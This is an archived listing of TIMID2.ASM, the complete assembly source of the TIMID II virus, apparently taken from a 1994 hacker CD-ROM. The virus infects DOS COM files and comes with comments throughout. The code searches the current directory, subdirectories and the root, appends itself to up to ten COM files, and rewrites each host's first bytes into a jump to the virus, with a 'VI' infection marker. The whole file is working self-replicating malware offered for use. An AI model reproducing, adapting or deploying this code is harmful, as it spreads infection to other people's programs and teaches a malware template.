home *** CD-ROM | disk | FTP | other *** search
/ HaCKeRz Kr0nlcKLeZ 1 / HaCKeRz Kr0nlcKLeZ.iso / chibacity / gbbdisk.arj / TIMID2 / TIMID2.ASM next >
Encoding:
Assembly Source File  |  1994-12-23  |  10.1 KB  |  256 lines

  1. ;The TIMID II Virus is a parasitic COM infector that places the body of its
  2. ;code at the end of a COM file. It will jump directories.
  3. ;
  4. ;(C) 1994 American Eagle Publications, Inc. All Rights Reserved!
  5. ;
  6.  
  7. .model tiny
  8. .code
  9.  
  10.  
  11.         ORG     100H
  12.  
  13. ;This is a shell of a program which will release the virus into the system.
  14. ;All it does is jump to the virus routine, which does its job and returns to
  15. ;it, at which point it terminates to DOS.
  16.  
  17. HOST:
  18.         jmp     NEAR PTR VIRUS_START
  19.         db      'VI'
  20.         db      100H dup (90H)  ;force above jump to be near with 256 nop's
  21.         mov     ax,4C00H
  22.         int     21H             ;terminate normally with DOS
  23.  
  24. VIRUS:                          ;this is a label for the first byte of the virus
  25.  
  26. ALLFILE DB      '*.*',0         ;search string for a file
  27. START_IMAGE     DB 0,0,0,0,0
  28.  
  29. VIRUS_START:
  30.         call    GET_START       ;get start address - this is a trick to determine the location of the start of this program
  31. GET_START:
  32.         pop     di
  33.         sub     di,OFFSET GET_START
  34.         call    INFECT_FILES
  35. EXIT_VIRUS:
  36.         mov     ah,1AH          ;restore DTA
  37.         mov     dx,80H
  38.         int     21H
  39.         mov     si,OFFSET HOST  ;restore start code in host
  40.         add     di,OFFSET START_CODE
  41.         push    si              ;push OFFSET HOST for ret below
  42.         xchg    si,di
  43.         movsw
  44.         movsw
  45.         movsb
  46.         ret                     ;and jump to host
  47.  
  48. START_CODE:                     ;move first 5 bytes from host program to here
  49.         nop                     ;nop's for the original assembly code
  50.         nop                     ;will work fine
  51.         nop
  52.         nop
  53.         nop
  54.  
  55.  
  56. INF_CNT DB      ?               ;Live counter of files infected
  57. DEPTH   DB      ?               ;depth of directory search, 0=no subdirs
  58. PATH    DB      10 dup (0)      ;path to search
  59.  
  60. INFECT_FILES:
  61.         mov     [di+INF_CNT],10 ;infect up to 10 files
  62.         mov     [di+DEPTH],1
  63.         call    SEARCH_DIR
  64.         cmp     [di+INF_CNT],0  ;have we infected 10 files
  65.         jz      IFDONE          ;yes, done, no, search root also
  66.         mov     ah,47H          ;get current directory
  67.         xor     dl,dl           ;on current drive
  68.         lea     si,[di+CUR_DIR+1]       ;put path here
  69.         int     21H
  70.         mov     [di+DEPTH],2
  71.         mov     ax,'\'
  72.         mov     WORD PTR [di+PATH],ax
  73.         mov     ah,3BH
  74.         lea     dx,[di+PATH]
  75.         int     21H             ;change directory
  76.         call    SEARCH_DIR
  77.         mov     ah,3BH          ;now change back to original directory
  78.         lea     dx,[di+CUR_DIR]
  79.         int     21H
  80. IFDONE: ret
  81.  
  82. PRE_DIR DB      '..',0
  83. CUR_DIR DB      '\'
  84.         DB      65 dup (0)
  85.  
  86. ;This searches the current director for files to infect or subdirectories to
  87. ;search. This routine is recursive.
  88. SEARCH_DIR:
  89.         push    bp              ;set up stack frame
  90.         sub     sp,43H          ;subtract size of DTA needed for search
  91.         mov     bp,sp
  92.         mov     dx,bp           ;put DTA to the stack
  93.         mov     ah,1AH
  94.         int     21H
  95.         lea     dx,[di+OFFSET ALLFILE]
  96.         mov     cx,3FH
  97.         mov     ah,4EH
  98. SDLP:   int     21H
  99.         jc      SDDONE
  100.         mov     al,[bp+15H]     ;get attribute of file found
  101.         and     al,10H          ;(00010000B) is it a directory?
  102.         jnz     SD1             ;yes, go handle dir
  103.         call    FILE_OK         ;just a file, ok to infect?
  104.         jc      SD2             ;nope, get another
  105.         call    INFECT          ;yes, infect it
  106.         dec     [di+INF_CNT]    ;decrement infect count
  107.         cmp     [di+INF_CNT],0  ;is it zero
  108.         jz      SDDONE          ;yes, searching done
  109.         jmp     SD2             ;nope, search for another
  110.  
  111. SD1:    cmp     [di+DEPTH],0    ;are we at the bottom of search
  112.         jz      SD2             ;yes, don't search subdirs
  113.         cmp     BYTE PTR [bp+1EH],'.'
  114.         jz      SD2             ;don't try to search '.' or '..'
  115.         dec     [di+DEPTH]      ;decrement depth count
  116.         lea     dx,[bp+1EH]     ;else get directory name
  117.         mov     ah,3BH
  118.         int     21H             ;change directory into it
  119.         jc      SD2             ;continue if error
  120.         call    SEARCH_DIR      ;ok, recursive search and infect
  121.         lea     dx,[di+PRE_DIR] ;now go back to original dir
  122.         mov     ah,3BH
  123.         int     21H
  124.         inc     [di+DEPTH]
  125.         cmp     [di+INF_CNT],0  ;done infecting files?
  126.         jz      SDDONE
  127.         mov     dx,bp           ;restore DTA to this stack frame
  128.         mov     ah,1AH
  129.         int     21H
  130.  
  131. SD2:    mov     ah,4FH
  132.         jmp     SDLP
  133.  
  134. SDDONE: add     sp,43H
  135.         pop     bp
  136.         ret
  137.  
  138.  
  139.  
  140. ;--------------------------------------------------------------------------
  141. ;Function to determine whether the file specified in FNAME is useable.
  142. ;if so return nc, else return c.
  143. ;What makes a file useable?:
  144. ;              a) It must have the extent COM.
  145. ;              b) There must be space for the virus without exceeding the
  146. ;                 64 KByte file size limit.
  147. ;              c) Bytes 0, 3 and 4 of the file are not a near jump op code,
  148. ;                 and 'V', 'I', respectively
  149. ;
  150. FILE_OK:
  151.         lea     si,[bp+1EH]
  152.         mov     dx,si
  153. FO1:    lodsb                   ;get a byte of file name
  154.         cmp     al,'.'          ;is it '.'?
  155.         je      FO2             ;yes, look for COM now
  156.         cmp     al,0            ;end of name?
  157.         jne     FO1             ;no, get another character
  158.         jmp     FOKCEND         ;yes, exit with c set, not a COM file
  159. FO2:    lodsw                   ;ok, look for COM
  160.         cmp     ax,'OC'
  161.         jne     FOKCEND
  162.         lodsb
  163.         cmp     al,'M'
  164.         jne     FOKCEND
  165.  
  166.         mov     ax,3D02H        ;r/w access open file, since we'll want to write to it
  167.         int     21H
  168.         jc      FOK_END         ;error opening file - quit and say this file can't be used
  169.  
  170.         mov     bx,ax           ;put file handle in bx
  171.         mov     cx,5            ;next read 5 bytes at the start of the program
  172.         lea     dx,[di+START_IMAGE]
  173.         mov     ah,3FH          ;DOS read function
  174.         int     21H
  175.  
  176.         pushf
  177.         mov     ah,3EH
  178.         int     21H             ;and close the file
  179.         popf                    ;check for failed read
  180.         jc      FOK_END
  181.  
  182.         mov     ax,[bp+1AH]                            ;get size of original file
  183.         add     ax,OFFSET ENDVIR - OFFSET VIRUS + 100H ;and add the size of the virus to it
  184.         jc      FOK_END                                ;c set if ax overflows, which will happen if size goes above 64K
  185.         cmp     WORD PTR [di+START_IMAGE],'ZM'         ;watch for exe format
  186.         je      FOKCEND                                ;exe - don't infect!
  187.         cmp     BYTE PTR [di+START_IMAGE],0E9H         ;size ok - is first byte a near jump op code?
  188.         jnz     FOK_NCEND                              ;not a near jump, file must be ok, exit with z set
  189.         cmp     WORD PTR [di+START_IMAGE+3],'IV'       ;ok, is 'VI' in positions 3 & 4?
  190.         jnz     FOK_NCEND                              ;no, file can be infected, return with Z set
  191. FOKCEND:stc
  192. FOK_END:ret
  193.  
  194. FOK_NCEND:
  195.         clc
  196.         ret
  197.  
  198. ;--------------------------------------------------------------------------
  199. ;This routine moves the virus (this program) to the end of the COM file
  200. ;Basically, it just copies everything here to there, and then goes and
  201. ;adjusts the 5 bytes at the start of the program and the five bytes stored
  202. ;in memory.
  203. ;
  204. INFECT:
  205.         lea     dx,[bp+1EH]
  206.         mov     ax,3D02H                                ;r/w access open file, since we'll want to write to it
  207.         int     21H
  208.         mov     bx,ax                                   ;and keep file handle in bx
  209.  
  210.         xor     cx,cx                                   ;prepare to write virus on new file; positon file pointer
  211.         mov     dx,cx                                   ;cx:dx pointer = 0
  212.         mov     ax,4202H                                ;locate pointer to end DOS function
  213.         int     21H
  214.  
  215.         mov     cx,OFFSET ENDVIR - OFFSET VIRUS         ;now write the virus; cx=number of bytes to write
  216.         lea     dx,[di+VIRUS]
  217.         mov     ah,40H                                  ;DOS write function
  218.         int     21H
  219.  
  220.         xor     cx,cx                                   ;now we have to go save the 5 bytes which came from the start of the
  221.         mov     dx,[bp+1AH]
  222.         add     dx,OFFSET START_CODE - OFFSET VIRUS     ;to where START_CODE is in the new virus
  223.         mov     ax,4200H                                ;and use DOS to position the file pointer
  224.         int     21H
  225.  
  226.         mov     cx,5                                    ;now go write START_CODE in the file
  227.         lea     dx,[di+START_IMAGE]
  228.         mov     ah,40H
  229.         int     21H
  230.  
  231.         xor     cx,cx                                   ;now go back to the start of host program
  232.         mov     dx,cx                                   ;so we can put the jump to the virus in
  233.         mov     ax,4200H                                ;locate file pointer function
  234.         int     21H
  235.  
  236.         mov     BYTE PTR [di+START_IMAGE],0E9H          ;first the near jump op code E9
  237.         mov     ax,[bp+1AH]                             ;and then the relative address
  238.         add     ax,OFFSET VIRUS_START-OFFSET VIRUS-3    ;these go in the START_IMAGE area
  239.         mov     WORD PTR [di+START_IMAGE+1],ax
  240.         mov     WORD PTR [di+START_IMAGE+3],4956H       ;and put 'VI' ID code in
  241.  
  242.         mov     cx,5                                    ;ok, now go write the 5 bytes we just put in START_IMAGE
  243.         lea     dx,[di+START_IMAGE]
  244.         mov     ah,40H                                  ;DOS write function
  245.         int     21H
  246.  
  247.         mov     ah,3EH                                  ;and close file
  248.         int     21H
  249.  
  250.         ret                             ;all done, the virus is transferred
  251.  
  252. ENDVIR:
  253.  
  254.  
  255.         END HOST
  256.